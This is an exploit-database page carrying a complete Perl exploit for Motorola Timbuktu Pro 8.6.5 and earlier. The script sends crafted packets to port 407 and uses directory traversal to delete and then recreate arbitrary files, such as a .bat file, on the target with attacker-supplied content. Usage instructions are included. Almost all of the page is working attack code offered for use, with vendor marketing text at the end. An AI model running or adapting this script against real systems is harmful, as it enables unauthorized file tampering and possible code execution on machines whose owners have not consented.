Lucene search
K

Motorola Timbuktu Pro <= 8.6.5 File Deletion/Creation Exploit

🗓️ 15 Mar 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Timbuktu Pro <= 8.6.5 File Deletion/Creation Exploit using Perl scrip

Code

                                                #!/usr/bin/perl
#ooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOO
#&nbsp;Timbuktu&nbsp;Pro&nbsp;&lt;=&nbsp;8.6.5&nbsp;Arbitrary&nbsp;File&nbsp;Deletion/Creation
#
#&nbsp;Bug&nbsp;&amp;&nbsp;Exploit&nbsp;by&nbsp;titon&nbsp;[titon{at}bastardlabs{dot}com]
#
#&nbsp;Advisory:&nbsp;
#&nbsp;http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=590
#
#&nbsp;Copyright:&nbsp;(c)2007&nbsp;BastardLabs
#ooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOO
#
#&nbsp;Usage:&nbsp;$&nbsp;./timbuktu_sploit.pl&nbsp;192.168.0.69&nbsp;407
#
#ooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOO
use&nbsp;IO::Socket;
use&nbsp;Time::HiRes&nbsp;qw(usleep);
##
##&nbsp;we&nbsp;start&nbsp;in&nbsp;the&nbsp;C:\Program&nbsp;Files\Timbuktu&nbsp;Pro\N1\&nbsp;folder
##
$filename&nbsp;=&nbsp;&amp;promptUser(&quot;Filename&quot;&nbsp;,&quot;\\../../../pnw3d.bat&quot;);
##$filename&nbsp;=&nbsp;&amp;promptUser(&quot;Filename&quot;&nbsp;,&quot;../../../pnw3d.bat&quot;);
$payload&nbsp;=&nbsp;&amp;promptUser(&quot;Payload&nbsp;&quot;,&quot;echo&nbsp;pwwwnnn333ddd&nbsp;!!&quot;);
##
##payload&nbsp;can&nbsp;be&nbsp;either&nbsp;text&nbsp;or&nbsp;binary&nbsp;(in&nbsp;\x42\x69\x42&nbsp;format)
##
$payload&nbsp;=~&nbsp;s/\\x(..)/pack(&quot;C&quot;,hex($1))/egi;
##
##&nbsp;packet1&nbsp;==&nbsp;“hello”&nbsp;packet
##
$packet1=&nbsp;&quot;\x00\x01\x6b\x00\x00\xb0\x00\x23\x07\x22\x03\x07\xd6\x69\x6d\x3b&quot;.
&quot;\x27\xa8\xd0\xf2\xd6\x69\x6d\x3b\x27\xa8\xd0\xf2\x00\x09\x01\x41&quot;.
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;.
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;.
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;.
&quot;\x00\x00\x00\x00\x00\x00\x01\x97\x01\x41\x00\x00\x00\x00\x00\x00&quot;.
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;.
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;.
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;.
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04\xb7\x1d&quot;.
&quot;\xbf\x42\x00\x00\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00&quot;.
&quot;\x00\x00\x00\x00\x00\x00&quot;;
$packet2=&nbsp;&quot;\xff&quot;;
##
##&nbsp;packet3&nbsp;==&nbsp;packet&nbsp;containing&nbsp;the&nbsp;filename&nbsp;(with&nbsp;directory&nbsp;traversal)
##
$packet3=&nbsp;&quot;\xfb\x00\x00\x00\x00\x54\x45\x58\x54\x74\x74\x78\x74\xc2\x32\x94&quot;.
&quot;\xcc\xc2\x32\x94\xd9\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00&quot;.
&quot;\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;.
&quot;\x00\x00\x00\x00\x00\x00\x00&quot;&nbsp;.&nbsp;pack(&quot;C&quot;,length($filename))&nbsp;.&nbsp;$filename&nbsp;;
$packet4=&nbsp;&quot;\xf9\x00&quot;;
##
##&nbsp;packet5&nbsp;==&nbsp;payload,&nbsp;the&nbsp;size&nbsp;of&nbsp;the&nbsp;payload&nbsp;is&nbsp;over&nbsp;2&nbsp;bytes
##&nbsp;so&nbsp;we&nbsp;have&nbsp;65535&nbsp;bytes&nbsp;of&nbsp;data&nbsp;to&nbsp;play&nbsp;with
##
$packet5=&nbsp;&quot;\xf8&quot;&nbsp;.&nbsp;pack(&quot;n&quot;,length($payload))&nbsp;.&nbsp;$payload&nbsp;;
$packet6=&nbsp;&quot;\xf7&quot;;
$packet7=&nbsp;&quot;\xfa&quot;;
$packet8=&nbsp;&quot;\xfe&quot;;
##
##DELETE&nbsp;THE&nbsp;FILE&nbsp;(IF&nbsp;NECESSARY)
##
print&nbsp;&quot;[+]&nbsp;Delete&nbsp;the&nbsp;file&nbsp;(if&nbsp;necessary)\n&quot;;
print&nbsp;&quot;[+]&nbsp;Connecting...\n&quot;;
$remote&nbsp;=&nbsp;&amp;connection(&quot;$ARGV[0]&quot;,&quot;$ARGV[1]&quot;);
print&nbsp;&quot;[+]&nbsp;Connected&nbsp;to&nbsp;$ARGV[0]:$ARGV[1]\n&quot;;
print&nbsp;$remote&nbsp;$packet1;&nbsp;print&nbsp;&quot;[+]&nbsp;Packet&nbsp;1&nbsp;Sent\n&quot;;&nbsp;usleep&nbsp;(80000);
print&nbsp;$remote&nbsp;$packet2;&nbsp;print&nbsp;&quot;[+]&nbsp;Packet&nbsp;2&nbsp;Sent\n&quot;;&nbsp;usleep&nbsp;(80000);
print&nbsp;$remote&nbsp;$packet3;&nbsp;print&nbsp;&quot;[+]&nbsp;Packet&nbsp;3&nbsp;Sent\n&quot;;&nbsp;usleep&nbsp;(80000);
##
##&nbsp;we&nbsp;break&nbsp;the&nbsp;connection&nbsp;before&nbsp;it's&nbsp;completed&nbsp;(i.e&nbsp;before&nbsp;the&nbsp;\xfe)
##
close&nbsp;$remote;
##
##(RE)CREATE&nbsp;THE&nbsp;FILE
##
print&nbsp;&quot;[+]&nbsp;(Re)Create&nbsp;the&nbsp;file&nbsp;with&nbsp;our&nbsp;content\n&quot;;
print&nbsp;&quot;[+]&nbsp;Connecting...\n&quot;;
$remote&nbsp;=&nbsp;&amp;connection(&quot;$ARGV[0]&quot;,&quot;$ARGV[1]&quot;);
print&nbsp;&quot;[+]&nbsp;Connected&nbsp;to&nbsp;$ARGV[0]:$ARGV[1]\n&quot;;
print&nbsp;$remote&nbsp;$packet1;&nbsp;print&nbsp;&quot;[+]&nbsp;Packet&nbsp;1&nbsp;Sent\n&quot;;&nbsp;usleep&nbsp;(80000);
print&nbsp;$remote&nbsp;$packet2;&nbsp;print&nbsp;&quot;[+]&nbsp;Packet&nbsp;2&nbsp;Sent\n&quot;;&nbsp;usleep&nbsp;(80000);
print&nbsp;$remote&nbsp;$packet3;&nbsp;print&nbsp;&quot;[+]&nbsp;Packet&nbsp;3&nbsp;Sent\n&quot;;&nbsp;usleep&nbsp;(80000);
print&nbsp;$remote&nbsp;$packet4;&nbsp;print&nbsp;&quot;[+]&nbsp;Packet&nbsp;4&nbsp;Sent\n&quot;;&nbsp;usleep&nbsp;(80000);
print&nbsp;$remote&nbsp;$packet5;&nbsp;print&nbsp;&quot;[+]&nbsp;Packet&nbsp;5&nbsp;Sent\n&quot;;&nbsp;usleep&nbsp;(80000);
print&nbsp;$remote&nbsp;$packet6;&nbsp;print&nbsp;&quot;[+]&nbsp;Packet&nbsp;6&nbsp;Sent\n&quot;;&nbsp;usleep&nbsp;(80000);
print&nbsp;$remote&nbsp;$packet7;&nbsp;print&nbsp;&quot;[+]&nbsp;Packet&nbsp;7&nbsp;Sent\n&quot;;&nbsp;usleep&nbsp;(80000);
print&nbsp;$remote&nbsp;$packet8;&nbsp;print&nbsp;&quot;[+]&nbsp;Packet&nbsp;8&nbsp;Sent\n&quot;;&nbsp;usleep&nbsp;(80000);
close&nbsp;$remote;
sub&nbsp;connection
{
local($dest,$port)&nbsp;=&nbsp;@_;
my&nbsp;$remote;
if&nbsp;(!$port&nbsp;or&nbsp;!dest)&nbsp;{
print&nbsp;&quot;\nUsage:&nbsp;$&nbsp;./timbuktu_sploit.pl&nbsp;192.168.0.69&nbsp;407\n\n&quot;;&nbsp;exit;&nbsp;}
else
{
$remote&nbsp;=&nbsp;IO::Socket::INET-&gt;new(
Proto&nbsp;=&gt;&nbsp;tcp,
PeerAddr&nbsp;=&gt;&nbsp;$dest,
PeerPort&nbsp;=&gt;&nbsp;$port,
Timeout&nbsp;=&gt;&nbsp;1)&nbsp;or&nbsp;print&nbsp;&quot;[-]&nbsp;Error:&nbsp;Could&nbsp;not&nbsp;establish&nbsp;a
connection&nbsp;to&nbsp;$dest:$port\n&quot;&nbsp;and&nbsp;exit;
return&nbsp;$remote;
}
}
sub&nbsp;promptUser&nbsp;{
local($promptString,$defaultValue)&nbsp;=&nbsp;@_;
if&nbsp;($defaultValue)&nbsp;{
print&nbsp;$promptString,&nbsp;&quot;[&quot;,&nbsp;$defaultValue,&nbsp;&quot;]:&nbsp;&quot;;
}&nbsp;else&nbsp;{
print&nbsp;$promptString,&nbsp;&quot;:&nbsp;&quot;;
}
$|&nbsp;=&nbsp;1;&nbsp;#&nbsp;force&nbsp;a&nbsp;flush&nbsp;after&nbsp;our&nbsp;print
$_&nbsp;=&nbsp;&lt;STDIN&gt;;&nbsp;#&nbsp;get&nbsp;the&nbsp;input&nbsp;from&nbsp;STDIN
chomp;
if&nbsp;(&quot;$defaultValue&quot;)&nbsp;{
return&nbsp;$_&nbsp;?&nbsp;$_&nbsp;:&nbsp;$defaultValue;&nbsp;#&nbsp;return&nbsp;$_&nbsp;if&nbsp;it&nbsp;has&nbsp;a&nbsp;value
}&nbsp;else&nbsp;{
return&nbsp;$_;
}
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation